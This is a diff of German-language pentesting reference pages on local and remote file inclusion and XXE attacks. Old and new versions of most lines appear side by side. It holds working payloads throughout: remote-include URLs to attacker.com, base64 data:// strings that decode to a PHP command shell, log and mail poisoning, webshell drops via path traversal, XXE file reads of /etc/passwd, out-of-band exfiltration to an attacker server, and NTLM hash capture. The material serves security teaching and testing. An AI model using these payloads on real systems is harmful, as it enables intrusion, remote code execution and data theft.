http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -155,7 +155,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
> [!TIP]
> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
Ein weiteres Beispiel **ohne die Verwendung des `php://` Protokolls** wäre:
Ein weiteres Beispiel **ohne Verwendung des `php://` Protokolls** wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -240,7 +240,7 @@ PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bev
- Andere Filter
- Wenn Sie in PHP `var_dump(stream_get_filters());` ausführen, können Sie ein paar **unerwartete Filter** finden:
- `consumed`
- `dechunk`: Kehrt die HTTP-Chunked-Kodierung um
- `dechunk`: Kehrt die HTTP-chunked Kodierung um
- `convert.*`
```php
# String Filters
@ -280,11 +280,11 @@ Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik,
- Verwenden Sie den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
- Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher hat dechunk es nicht gelöscht und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu kennzeichnen. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher hat dechunk es nicht gelöscht und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben leakt**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -358,7 +358,7 @@ php --define phar.readonly=0 create_path.php
```
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle steht im Zusammenhang mit dem Lesen von Dateien über das `phar`-Protokoll.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
@ -370,9 +370,9 @@ phar-deserialization.md
### CVE-2024-2961
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und PHP-Filter unterstützt**, zu missbrauchen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Es war möglich, **jede beliebige Datei, die von PHP unterstützt wird und php-Filter verwendet**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Eine sehr kurze Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, Blöcke spezifischer Größen durch den Missbrauch weiterer PHP-Filter zuzuweisen.
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter ausgenutzt wurden.
### Weitere Protokolle
@ -383,7 +383,7 @@ Es war möglich, Blöcke spezifischer Größen durch den Missbrauch weiterer PHP
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressionsströme
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pfadnamen finden, die dem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pfadnamen finden, die einem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (nicht nützlich, um beliebige Dateien zu lesen)
@ -408,9 +408,9 @@ Es ist wichtig, diese **Payloads URL-zu kodieren**.
## PHP Blind Path Traversal
> [!WARNING]
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, aber der Inhalt nicht angezeigt wird.
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) und der Inhalt nicht angezeigt wird.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad-Traversal über einen PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
@ -418,13 +418,13 @@ Um dann das erste Zeichen zu leaken, wird der Filter **`dechunk`** zusammen mit
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel, das nur damit gelesen werden kann)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für die technischen Details siehe den genannten Beitrag!
Für technische Details siehe den genannten Beitrag!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Wenn serverseitiger Code, der Dateien aufnimmt/hinauflädt, den Zielpfad unter Verwendung von benutzergesteuerten Daten (z. B. einem Dateinamen oder einer URL) ohne Kanonisierung und Validierung erstellt, können `..`-Segmente und absolute Pfade das beabsichtigte Verzeichnis verlassen und einen beliebigen Dateischreibvorgang verursachen. Wenn Sie die Payload in ein web-exponiertes Verzeichnis platzieren können, erhalten Sie normalerweise eine nicht authentifizierte RCE, indem Sie eine Webshell ablegen.
Wenn serverseitiger Code, der Dateien aufnimmt/hinlädt, den Zielpfad unter Verwendung von benutzergesteuerten Daten (z. B. einem Dateinamen oder einer URL) ohne Kanonisierung und Validierung erstellt, können `..`-Segmente und absolute Pfade das beabsichtigte Verzeichnis verlassen und einen beliebigen Dateischreibvorgang verursachen. Wenn Sie die Payload in einem web-exponierten Verzeichnis platzieren können, erhalten Sie normalerweise eine nicht authentifizierte RCE, indem Sie eine Webshell ablegen.
Typischer Exploit-Workflow:
- Identifizieren Sie eine Schreibprimitive in einem Endpunkt oder Hintergrunddienst, der einen Pfad/Dateinamen akzeptiert und Inhalte auf die Festplatte schreibt (z. B. nachrichtengetriebene Aufnahme, XML/JSON-Befehlsverarbeiter, ZIP-Extractor usw.).
@ -433,13 +433,13 @@ Typischer Exploit-Workflow:
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp` ablegen
- IIS: `C:\inetpub\wwwroot\``shell.aspx` ablegen
- Erstellen Sie einen Traversal-Pfad, der aus dem beabsichtigten Speicherverzeichnis in das Webroot ausbricht, und fügen Sie den Inhalt Ihrer Webshell hinzu.
- Greifen Sie auf die abgelegte Payload zu und führen Sie Befehle aus.
- Navigieren Sie zu der abgelegten Payload und führen Sie Befehle aus.
Hinweise:
- Der anfällige Dienst, der den Schreibvorgang durchführt, kann auf einem Nicht-HTTP-Port lauschen (z. B. ein JMF XML-Listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später Ihre Payload bereitstellen.
- Der anfällige Dienst, der den Schreibvorgang durchführt, kann auf einem Nicht-HTTP-Port (z. B. einem JMF XML-Listener auf TCP 4004) lauschen. Das Hauptwebportal (anderer Port) wird später Ihre Payload bereitstellen.
- In Java-Stacks werden diese Dateischreibvorgänge oft mit einfacher `File`/`Paths`-Verkettung implementiert. Mangelnde Kanonisierung/Allow-Listing ist der Kernfehler.
Generisches XML/JMF-Stilbeispiel (Produkt-Schemas variieren der DOCTYPE-/Body-Wrapper ist für die Traversierung irrelevant):
Generisches XML/JMF-Stilbeispiel (Produkt-Schemas variieren der DOCTYPE-/Body-Wrap ist für das Traversal irrelevant):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -498,16 +498,16 @@ Fuzzing-Wortliste: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi
### Via E-Mail
**Senden Sie eine E-Mail** an ein internes Konto (user@localhost), die Ihre PHP-Nutzlast wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzuschließen.
**Sende eine E-Mail** an ein internes Konto (user@localhost), die dein PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuche, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzuschließen.
### Via /proc/\*/fd/\*
1. Laden Sie viele Shells hoch (zum Beispiel: 100)
2. Fügen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden)
1. Lade viele Shells hoch (zum Beispiel: 100)
2. Schlie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden)
### Via /proc/self/environ
Wie eine Protokolldatei, senden Sie die Nutzlast im User-Agent, sie wird in der Datei /proc/self/environ reflektiert.
Wie eine Protokolldatei, sende das Payload im User-Agent, es wird in der Datei /proc/self/environ reflektiert.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -559,7 +559,7 @@ Die Protokolle für den FTP-Server vsftpd befinden sich in _**/var/log/vsftpd.lo
### Via php base64 filter (using base64)
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können das verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können das verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" wird an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -567,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen PHP-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
{{#ref}}
lfi2rce-via-php-filters.md
@ -575,7 +575,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können danach suchen.
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können nach ihr suchen.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -591,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
{{#ref}}
via-php_session_upload_progress.md
@ -622,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei **phpinfo()** mit file_uploads = on exponiert, können Sie RCE erhalten:
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei **phpinfo()** mit file_uploads = on anzeigt, können Sie RCE erhalten:
{{#ref}}
lfi2rce-via-phpinfo.md

View File

@ -8,7 +8,7 @@ XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport vo
- **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich spezieller Zeichen wie `&lt;` und `&gt;`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
- **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die festlegen, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten dürfen, von beliebigem Inhalt bis hin zu spezifischen Kind-Elementen.
- **Dokumenttypdefinition (DTD)**: DTDs sind in XML entscheidend für die Definition der Struktur des Dokuments und der Arten von Daten, die es enthalten kann. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
- **Dokumenttypdefinition (DTD)**: DTDs sind entscheidend in XML, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
- **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD für eine flexible Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Kontext von XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen behandeln: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Abfragen oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
@ -35,7 +35,7 @@ In diesem Angriff werde ich testen, ob eine einfache neue ENTITY-Deklaration fun
Lass uns versuchen, `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen, zu lesen: `C:\windows\system32\drivers\etc\hosts`
In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktionieren wird.
In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktioniert.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -43,7 +43,7 @@ In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls
```
![](<../images/image (86).png>)
Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei den Portswigger-Labs)
Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei Portswiggers Labs)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -65,7 +65,7 @@ In diesem dritten Fall beachten Sie, dass wir das `Element stockCheck` als ANY d
### Verzeichnisauflistung
In **Java**-basierten Anwendungen kann es möglich sein, **den Inhalt eines Verzeichnisses aufzulisten** über XXE mit einem Payload wie (einfach nach dem Verzeichnis anstelle der Datei fragen):
In **Java**-basierten Anwendungen könnte es möglich sein, **den Inhalt eines Verzeichnisses aufzulisten** über XXE mit einem Payload wie (nur nach dem Verzeichnis anstelle der Datei fragen):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
@ -91,7 +91,7 @@ Mit der **vorher kommentierten Technik** kannst du den Server dazu bringen, auf
```
### "Blind" SSRF - Exfiltriere Daten außerhalb des Bandes
**In diesem Fall werden wir den Server dazu bringen, eine neue DTD mit einer bösartigen Payload zu laden, die den Inhalt einer Datei über eine HTTP-Anfrage sendet (für mehrzeilige Dateien könnten Sie versuchen, sie über \_ftp://**\_ zu exfiltrieren, indem Sie beispielsweise diesen einfachen Server verwenden [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
**In diesem Fall werden wir den Server dazu bringen, eine neue DTD mit einer bösartigen Payload zu laden, die den Inhalt einer Datei über eine HTTP-Anfrage sendet (für mehrzeilige Dateien könntest du versuchen, sie über \_ftp://**\_ zu exfiltrieren, indem du beispielsweise diesen einfachen Server verwendest [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
In der gegebenen bösartigen DTD werden eine Reihe von Schritten durchgeführt, um Daten zu exfiltrieren:
@ -109,7 +109,7 @@ Die von diesem DTD ausgeführten Schritte umfassen:
1. **Definition von Parameterentitäten:**
- Eine XML-Parameterentität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt.
2. **Ausführung von Entitäten:**
2. **Ausführung der Entitäten:**
- Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt.
- Die `%exfiltrate`-Entität wird dann verwendet, was eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auslöst.
@ -188,7 +188,7 @@ Die skizzierten Schritte werden durch diese DTD ausgeführt:
```
![](<../images/image (625).png>)
Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie das gleiche **Betriebssystem / die gleiche Software** installieren, die der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eine von ihnen existiert:
Da diese Technik ein **internes DTD verwendet, müssen Sie zuerst ein gültiges finden**. Sie könnten dies **tun, indem Sie** dasselbe **Betriebssystem / Software** installieren, das der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eines davon existiert:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -219,9 +219,9 @@ Testing 0 entities : []
```
### XXE über Office Open XML Parser
Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify** an.
Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify an**.
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung es Benutzern ermöglichen, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
Um diese Schwachstelle zu testen, ist es notwendig, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.
@ -257,7 +257,7 @@ Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen,
<foo>&xxe;</foo>
```
> [!CAUTION]
> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Datei-Einbindung, Template-Injektion, XSLT RCE, Deserialisierung usw.).
> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfadüberquerung beinhaltet** (wie lokale Datei-inklusion, Template-Injektion, XSLT RCE, Deserialisierung usw.).
### XSS
```xml
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
#### NTML erhalten
Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem man einen Responder.py-Handler einrichtet:
Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem man einen responder.py-Handler einrichtet:
```bash
Responder.py -I eth0 -v
```
@ -336,7 +336,7 @@ Eine andere Methode besteht darin, zu versuchen, **Befehle auszuführen** über
```
In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Software des Servers ausnutzen, was die Notwendigkeit robuster Eingangsvalidierung und Sicherheitsmaßnahmen hervorhebt.
Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen!
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
**Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INDEM erstellten Bild erscheint. Sie müssen also in der Lage sein, auf das Bild zuzugreifen, das SVG erstellt hat.**
@ -420,7 +420,7 @@ Sie können das \[**"Encode Recipe**" von cyberchef hier ]\(\[[https://gchq.gith
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protokoll Umgehung
### File:/ Protokollumgehung
Wenn das Web PHP verwendet, können Sie anstelle von `file:/` **php wrappers**`php://filter/convert.base64-encode/resource=` verwenden, um **auf interne Dateien** zuzugreifen.
@ -429,7 +429,7 @@ Wenn das Web Java verwendet, können Sie das [**jar: Protokoll**](xxe-xee-xml-ex
### HTML Entities
Trick von [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Sie können eine **Entity innerhalb einer Entity** erstellen, indem Sie sie mit **html entities** kodieren und dann aufrufen, um **eine dtd zu laden**.\
Sie können eine **Entität innerhalb einer Entität** erstellen, indem Sie sie mit **html entities** kodieren und dann aufrufen, um **eine dtd zu laden**.\
